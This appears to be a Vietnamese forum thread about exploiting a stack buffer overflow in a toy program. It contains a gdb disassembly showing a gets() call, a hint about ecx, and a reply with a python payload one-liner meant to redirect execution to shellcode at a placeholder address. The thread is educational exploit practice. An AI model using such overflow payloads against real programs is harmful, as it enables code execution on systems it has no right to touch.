0x080483a4 <main+0>: lea 0x4(%esp),%ecx
0x080483a8 <main+4>: and $0xfffffff0,%esp
0x080483ab <main+7>: pushl -0x4(%ecx)
0x080483ae <main+10>: push %ebp
0x080483af <main+11>: mov %esp,%ebp
0x080483b1 <main+13>: push %ecx
0x080483b2 <main+14>: sub $0x24,%esp
0x080483b5 <main+17>: movl $0x80484b0,(%esp)
0x080483bc <main+24>: call 0x804830c <printf@plt>
0x080483c1 <main+29>: lea -0xc(%ebp),%eax
0x080483c4 <main+32>: mov %eax,(%esp)
0x080483c7 <main+35>: call 0x80482ec <gets@plt>
0x080483cc <main+40>: lea -0xc(%ebp),%eax
0x080483cf <main+43>: mov %eax,0x4(%esp)
0x080483d3 <main+47>: movl $0x80484c4,(%esp)
0x080483da <main+54>: call 0x804830c <printf@plt>
0x080483df <main+59>: mov $0x0,%eax
0x080483e4 <main+64>: add $0x24,%esp
0x080483e7 <main+67>: pop %ecx
0x080483e8 <main+68>: pop %ebp
0x080483e9 <main+69>: lea -0x4(%ecx),%esp
0x080483ec <main+72>: ret
End of assembler dump.
Hơi khó exploit một chút, nhưng vẫn có thể exploit được. Bồ thử tìm hiểu cách exploit xem, gợi ý: chú ý vào ecx.
--m
Đoạn tô vàng có nghĩa là lấy thanh ghi [ecx] -4, rồi move vào esp và ret???
Vậy thì tui sẽ viết đè lên ecx với địa chị ($ebp+4), sau đó overwrite tiếp lên ebp địa chỉ của shellcode:
mrro thử chạy
Code:
python -c 'print "A" * 8 + "\xb2\x83\x04\x08" + "\xAA\xBB\XCC\XDD"' | ./vul
Trong đó \xAA\xBB\XCC\XDD là địa chỉ biến môi trường chứa shellcode chẳng hạn.
Mô hình stack trong trường hợp này:
high mem --------------------------------------------------------> low mem
[*argv] [argc ] [eip ] [ %ecx-4 ] [ebp ] [ecx ] [buf[8] ]
PS: Tui ko nhớ cách input dạng này trong gdb khi run, bác mrro chỉ tui được ko? |
|
|
|
|
|